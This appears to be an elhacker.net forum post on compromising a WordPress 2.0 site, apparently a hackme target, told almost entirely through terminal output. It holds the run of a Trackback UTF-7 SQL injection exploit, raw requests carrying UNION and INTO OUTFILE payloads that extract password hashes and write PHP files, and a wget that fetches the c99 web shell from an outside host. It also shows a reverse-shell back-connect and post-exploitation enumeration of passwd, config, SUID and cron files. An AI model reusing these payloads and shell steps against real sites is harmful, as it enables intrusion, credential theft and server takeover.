Foro de elhacker.net

<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->

[DIR]	akismet/	2014-07-31 20:05 	- 	 
[ ]	hello.php	2005-08-07 10:30 	2.0K	 
[ ]	wp-db-backup.php	2006-01-17 00:51 	30K	 

me@Machine:~/Escritorio$ python *.py -h http://web.com/ -p 1 -i -1
Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit
Copyright (C) 2006 Stefan Esser/Hardened-PHP Project
            *** DO NOT DISTRIBUTE ***

[+] Connecting to check if mbstring is installed
[+] ext/mbstring is installed. continue with exploit
[+] Connecting to retrieve cookie hash
[+] Cookie hash found: 8d4624f99fb1f186b54020ddb0449012
[+] Connecting to lock trackbacks
[+] Connecting to determine mysql table prefix
[+] Table prefix is: wp_
[+] Connecting to check if user admin is present
[-] Error user_id invalid

Me@Machine:~/Escritorio$ nc -v web.com 80
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

charset=UTF-7&title=None&url=None&excerpt=None&blog_name=%2bACc-

Connection to wrb.com 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Date: Fri, 01 Aug 2014 19:36:18 GMT
Server: Apache/2.4.6 (Ubuntu)
X-Powered-By: PHP/5.5.3-1ubuntu2.6
X-Pingback: http://web.com/xmlrpc.php
Status: 200 OK
Vary: Accept-Encoding
Content-Length: 1359
Connection: close
Content-Type: text/xml; charset=UTF-8

<div id='error'>
			<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL' ) AND comment_content = '<strong>None...</strong>

None...' LIMIT 1' at line 1]<br />
			<code>SELECT comment_ID FROM wp_comments WHERE comment_post_ID = '1' AND ( comment_author = ''ILLEGAL' ) AND comment_content = '<strong>None...</strong>

None...' LIMIT 1</code></p>
			</div><div id='error'>
			<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-0' at line 4]<br />
			<code>INSERT INTO wp_comments 
	(comment_post_ID, comment_author, comment_author_email, comment_author_url, comment_author_IP, comment_date, comment_date_gmt, comment_content, comment_approved, comment_agent, comment_type, comment_parent, user_id)
	VALUES 
	('1', ''ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-01 19:36:18', '<strong>None...</strong>

None...', '0', '', 'trackback', '0', '0')
	</code></p>
			</div><?xml version="1.0" encoding="utf-8"?>
<response>
<error>0</error>

charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users limit 1 -- -

POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 139

charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBTRING(user_pass, 1, 1)="a" limit 1 -- -

wget http://www.c99txt.net/s/c99.txt -P /var/www/wp-content/uploads -O c99.php

whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...

Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
fetchmail:x:101:65534::/var/lib/fetchmail:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:103:106::/home/syslog:/bin/false
klog:x:104:107::/home/klog:/bin/false
bind:x:105:109::/var/cache/bind:/bin/false
smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:107:111:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
landscape:x:108:112::/var/lib/landscape:/bin/false
mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/false

<?php
// ** MySQL settings ** //
define('DB_NAME', 'hackme2');    // The name of the database
define('DB_USER', 'root');     // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to change this value

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix  = 'wp_';   // Only numbers, letters, and underscores please!

// Change this to localize WordPress.  A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG', '');

/* That's all, stop editing! Happy blogging. */

define('ABSPATH', dirname(__FILE__).'/');
require_once(ABSPATH.'wp-settings.php');
?>

os_type=debian-linux
os_version=8.0
real_os_type=Ubuntu Linux
real_os_version=13.10

Content-Length: 0
Connection: close
Content-Type: text/html

Content-Length: 45
Connection: close
Content-Type: text/html

Sent reverse shell to NuestraIP:ElPuerto<p>

mysql     4586  0.1  2.6 785948 27600 ?        Ssl  Jul30   3:46 /usr/sbin/mysqld

root      6893  0.0  0.3 313920  3284 ?        Ss   Jul30   0:16 /usr/sbin/apache2 -k start

$ ls -la /etc/cron*
-rw-r--r-- 1 root root  719 Jul 30 13:15 /etc/crontab

/etc/cron.d:
total 20
drwxr-xr-x  2 root root 4096 Jul 30 22:56 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rw-r--r--  1 root root  510 Jul  7 13:08 php5
-rw-r--r--  1 root root 2321 Jul 30 13:15 sendmail

/etc/cron.daily:
total 84
drwxr-xr-x  2 root root  4096 Jul 30 23:00 .
drwxr-xr-x 89 root root  4096 Jul 30 23:01 ..
-rw-r--r--  1 root root   102 Feb  9  2013 .placeholder
-rwxr-xr-x  1 root root   633 Mar 19 16:57 apache2
-rw-r--r--  1 root root 15488 Sep 11  2013 apt
-rwxr-xr-x  1 root root    77 Sep  2  2013 apt-show-versions
-rwxr-xr-x  1 root root   314 Sep 23  2013 aptitude
-rw-r--r--  1 root root   355 Jun  4  2013 bsdmainutils
-rw-r--r--  1 root root   384 May 29  2013 cracklib-runtime
-rw-r--r--  1 root root   256 Oct  4  2013 dpkg
-rwxr-xr-x  1 root root   372 Nov 30  2012 logrotate
-rw-r--r--  1 root root  1365 Jun 28  2013 man-db
-rw-r--r--  1 root root   435 Jun 20  2013 mlocate
-rw-r--r--  1 root root   249 Jul 26  2013 passwd
-rw-r--r--  1 root root   349 Dec 27  2012 quota
-rw-r--r--  1 root root  3285 Sep 10  2013 sendmail
-rwxr-xr-x  1 root root  1309 Nov 17  2012 sysklogd
-rwxr-xr-x  1 root root   214 Nov 13  2013 update-notifier-common

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Dec 18  2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Dec 18  2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder

/etc/cron.weekly:
total 28
drwxr-xr-x  2 root root 4096 Dec 26  2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rwxr-xr-x  1 root root  730 Sep 18  2013 apt-xapian-index
-rw-r--r--  1 root root  907 Jun 28  2013 man-db
-rw-r--r--  1 root root 1220 Nov 17  2012 sysklogd
-rwxr-xr-x  1 root root  211 Nov 13  2013 update-notifier-common

$ cat /etc/cron.d/php5
# /etc/cron.d/php5: crontab fragment for php5
#  This purges session files older than X, where X is defined in seconds
#  as the largest value of session.gc_maxlifetime from all your php.ini
#  files, or 24 minutes if not defined.  See /usr/lib/php5/maxlifetime

# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -x /usr/lib/php5/sessionclean ] && [ -d /var/lib/php5 ] && /usr/lib/php5/sessionclean /var/lib/php5 $(/usr/lib/php5/maxlifetime)

$ stat changepass.pl
  File: 'changepass.pl'
  Size: 2220      	Blocks: 8          IO Block: 4096   regular file
Device: 1eh/30d	Inode: 17306810    Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-08-01 15:08:10.797120681 -0400
Modify: 2014-05-22 12:47:39.000000000 -0400
Change: 2014-07-30 23:01:13.898815137 -0400
 Birth: -

$ head changepass.pl
#!/usr/bin/perl
# changepass.pl
# Script for the user to change their webmin password

# Check command line arguments
usage() if (@ARGV != 3);
($config, $user, $pass) = @ARGV;

$ perl changepass.pl /etc/webmin root derp
Failed to open /etc/webmin/miniserv.conf : Permission denied
Maybe /etc/webmin is not the Webmin config directory.

/var/webmin <-Logs
/etc/webmin <-Configuracion 
/usr/share/webmin <-Archivos del Webmin

-rwsr-xr-x 1 root 44176 May 16  2013 /bin/ping
-rwsr-xr-x 1 root 94792 Jun 12  2013 /bin/mount
-rwsr-xr-x 1 root 44688 May 16  2013 /bin/ping6
-rwsr-xr-x 1 root 36936 Jul 26  2013 /bin/su
-rwsr-xr-x 1 root 69120 Jun 12  2013 /bin/umount
-rwxr-sr-x 1 shadow 35536 May 18  2013 /sbin/unix_chkpwd
-rwsr-xr-x 1 root 121112 Mar 11 08:24 /usr/bin/sudo
-rwsr-xr-x 1 root 32464 Jul 26  2013 /usr/bin/newgrp
-rwxr-sr-x 1 ssh 129120 Apr 29 19:54 /usr/bin/ssh-agent
-rwsr-sr-x 1 mail 89216 Jun  8  2012 /usr/bin/procmail
-rwsr-xr-x 1 root 23104 May 16  2013 /usr/bin/traceroute6.iputils
-rwxr-sr-x 1 shadow 23360 Jul 26  2013 /usr/bin/expiry
-rwsr-xr-x 1 root 68152 Jul 26  2013 /usr/bin/gpasswd
-rwxr-sr-x 1 tty 19024 Jun 12  2013 /usr/bin/wall
-rwxr-sr-x 1 shadow 54968 Jul 26  2013 /usr/bin/chage
-rwsr-xr-x 1 root 41336 Jul 26  2013 /usr/bin/chsh
-rwxr-sr-x 1 mail 18672 Jun  8  2012 /usr/bin/lockfile
-rwxr-sr-x 1 crontab 35984 Feb  9  2013 /usr/bin/crontab
-rwsr-xr-x 1 root 47032 Jul 26  2013 /usr/bin/passwd
-rwsr-xr-x 1 root 18928 May 16  2013 /usr/bin/arping
-rwxr-sr-x 1 tty 14688 Jun  4  2013 /usr/bin/bsd-write
-rwsr-xr-x 1 root 46424 Jul 26  2013 /usr/bin/chfn
-rwxr-sr-x 1 utmp 380088 Aug 19  2013 /usr/bin/screen
-rwxr-sr-x 1 mlocate 39520 Jun 20  2013 /usr/bin/mlocate
-rwxr-sr-x 1 mail 14848 Jun  5  2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root 10208 Sep 10  2013 /usr/sbin/sensible-mda
-rwxr-sr-x 1 smmsp 82816 Sep 10  2013 /usr/lib/sm.bin/mailstats
-rwxr-sr-x 1 smmsp 851840 Sep 10  2013 /usr/lib/sm.bin/sendmail
-rwsr-xr-x 1 root 249704 Apr 29 19:54 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root 10368 Oct 12  2013 /usr/lib/pt_chown

$ whereis gcc
gcc: /usr/lib/gcc

POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select CONCAT(CHAR(60),%2bACc-?php echo 99;%2bACc-) INTO OUTFILE %2bACc-/var/www/wp-content/uploads/whk5.php%2bACc- -- -

99

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

ps -aux

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  26252   572 ?        Ss   Jul30   0:00 init
root         2  0.0  0.0      0     0 ?        S    Jul30   0:00 [kthreadd/84472]
root         3  0.0  0.0      0     0 ?        S    Jul30   0:00 [khelper/84472]
root       177  0.0  0.0  15224     8 ?        S    Jul30   0:00 upstart-file-bridge --daemon
root       376  0.0  0.0  14956     8 ?        Ss   Jul30   0:00 /usr/sbin/xinetd -dontfork -pidfile /var/run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
root       378  0.0  0.0  61044   312 ?        Ss   Jul30   0:02 /usr/sbin/sshd -D
root       380  0.0  0.0  25756   244 ?        Ss   Jul30   0:04 cron
syslog     416  0.0  0.0  12748   412 ?        Ss   Jul30   0:03 /sbin/syslogd -u syslog
root       484  0.0  0.0  81008     4 ?        Ss   Jul30   0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root       486  0.0  0.0  81008     4 ?        S    Jul30   0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root       540  0.0  0.0  85780   672 ?        Ss   Jul30   0:17 sendmail: MTA: accepting connections          
root       572  0.0  0.0  12748     8 tty1     Ss+  Jul30   0:00 /sbin/getty -8 38400 tty1
mysql     4586  0.0  1.0 785948 11288 ?        Ssl  Jul30   4:04 /usr/sbin/mysqld
www-data  5153  0.0  0.0   4392   564 ?        Ss   05:01   0:00 /usr/sbin/apache -i
root      6893  0.0  0.1 313920  1400 ?        Ss   Jul30   0:22 /usr/sbin/apache2 -k start
root     10027  0.0  0.2  86048  2316 ?        Ss   Jul30   2:13 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
www-data 10048  0.0  0.0   4392   544 ?        Ss   11:02   0:00 /usr/sbin/apache -i
www-data 10888  0.0  0.0   4392   520 ?        S    12:18   0:00 /bin/sh ./stop
www-data 10892  0.0  0.0   4324   440 ?        S    12:18   0:00 cat
www-data 11279  0.0  0.0   4392   536 ?        Ss   12:46   0:00 /usr/sbin/apache -i
www-data 11641  0.0  0.3 314788  4048 ?        S    13:11   0:00 /usr/sbin/apache2 -k start
www-data 11865  0.0  0.0   4392   524 ?        S    13:26   0:00 sh -c ./out
www-data 11866  6.2  0.0   4756   396 ?        Sl   13:26  23:52 ./out
www-data 11927  0.0  0.0      0     0 ?        Z    13:32   0:00 [sh] <defunct>
www-data 12122  0.0  0.0      0     0 ?        Z    13:44   0:00 [sh] <defunct>
www-data 12570  0.0  0.0      0     0 ?        Z    14:13   0:00 [sh] <defunct>
www-data 12685  0.0  0.0      0     0 ?        Z    14:25   0:00 [sh] <defunct>
www-data 13048  0.0  0.0      0     0 ?        Z    14:59   0:00 [sh] <defunct>
www-data 14598  0.0  0.0      0     0 ?        Z    15:56   0:00 [sh] <defunct>
www-data 16229  0.0  0.0      0     0 ?        Z    16:51   0:00 [sh] <defunct>
www-data 16344  0.0  0.0   4392   536 ?        Ss   16:58   0:00 /usr/sbin/apache -i
www-data 16351  0.0  0.0  28884   940 ?        S    16:59   0:02 ping6 ::1
www-data 16394  0.0  0.0      0     0 ?        Z    17:02   0:00 [sh] <defunct>
www-data 16475  0.0  0.0      0     0 ?        Z    17:11   0:00 [sh] <defunct>
www-data 16535  0.0  0.0      0     0 ?        Z    17:15   0:00 [sh] <defunct>
www-data 16575  0.0  0.0      0     0 ?        Z    17:18   0:00 [sh] <defunct>
www-data 17044  0.0  0.0      0     0 ?        Z    17:54   0:00 [sh] <defunct>
www-data 17775  0.0  1.3 318804 13648 ?        S    19:09   0:00 /usr/sbin/apache2 -k start
www-data 17840  0.0  1.0 317008 10796 ?        S    19:13   0:00 /usr/sbin/apache2 -k start
www-data 17844  0.0  0.7 317240  7400 ?        S    19:13   0:00 /usr/sbin/apache2 -k start
www-data 17847  0.0  0.7 316428  8212 ?        S    19:14   0:00 /usr/sbin/apache2 -k start
www-data 17862  0.0  0.6 314376  6624 ?        S    19:15   0:00 /usr/sbin/apache2 -k start
www-data 17892  0.0  1.0 317000 10616 ?        S    19:17   0:00 /usr/sbin/apache2 -k start
www-data 17936  0.0  0.8 317000  8568 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17943  0.0  0.8 317760  8912 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17946  0.0  0.9 318776  9564 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17949  0.0  0.7 316984  7384 ?        S    19:21   0:00 /usr/sbin/apache2 -k start
www-data 18289  0.0  0.0   4392   624 ?        S    19:50   0:00 sh -c ps -aux
www-data 18290  0.0  0.1  15520  1124 ?        R    19:50   0:00 ps -aux
www-data 28193  0.0  0.0   4392   536 ?        Ss   Aug01   0:00 /usr/sbin/apache -i
www-data 31431  0.0  0.0   4148     4 ?        T    00:45   0:00 ./exp4
www-data 31575  0.0  0.3 314780  3824 ?        S    00:59   0:00 /usr/sbin/apache2 -k start
www-data 31850  0.0  0.0   4392   528 ?        S    01:14   0:00 sh -c perl bk.pl 71.51.107.185 80
www-data 31851  0.0  0.1  27860  2024 ?        S    01:14   0:00 perl bk.pl 71.51.107.185 80
www-data 31857  0.0  0.1  17864  1176 ?        S    01:14   0:00 /bin/bash
www-data 32084  0.0  0.0   4148     4 ?        T    01:23   0:00 ./exp4
www-data 32091  0.0  0.0   4148     4 ?        T    01:25   0:00 ./exp4
www-data 32335  0.0  0.1  17868  1220 ?        S    01:34   0:00 bash

netstat -atup | grep IST

tcp        0      0 localhost.localdom:smtp *:*                     LISTEN      -               
tcp        0      0 localhost.localdo:mysql *:*                     LISTEN      -               
tcp        0      0 localhost.lo:submission *:*                     LISTEN      -               
tcp        0      0 *:webmin                *:*                     LISTEN      -               
tcp        0      0 *:ssh                   *:*                     LISTEN      -               
tcp6       0      0 [::]:http               [::]:*                  LISTEN      -               
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -               

find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null

/bin/ping
/bin/mount
/bin/ping6
/bin/su
/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/procmail
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/arping
/usr/bin/chfn
/usr/sbin/sensible-mda
/usr/sbin/uuidd

cat /proc/version /proc/cpuinfo

Linux version 2.6.32-042stab084.14 (root@rh6-build-x64) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Mon Dec 16 18:16:56 MSK 2013
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 16
model		: 2
model name	: AMD Opteron(tm) Processor 4284                 
stepping	: 3
cpu MHz		: 2999.999
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 5
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good tsc_reliable nonstop_tsc unfair_spinlock pni cx16 x2apic popcnt hypervisor lahf_lm cmp_legacy extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw
bogomips	: 5999.99
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

$ apt-get install
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
$ 

2.6.32-042stab084.14

Linux version 2.6.32-042stab084.14...

Ubuntu 13.10 \n \l

Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy

me@Machine:~/Escritorio/server$ php cliente.php http://web.com/wp-content/uploads/whk-shell.php
Conectando ... Conectado!
WHK@owned-server:/var/www/wp-content/uploads$ ls
drwxrwxrwx .
drwxrwxrwx ..
-rw-r--r-- index.php
drwxr-xr-x tmp
-rw-r--r-- whk-shell.php
WHK@owned-server:/var/www/wp-content/uploads$ system id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WHK@owned-server:/var/www/wp-content/uploads$

webmin     : 1.690
apache2    : 2.4.6
mysql      : 5.5.37
phpmyadmin : 4:4.0.6-1
gcc        : 0
php5       : 5.5.3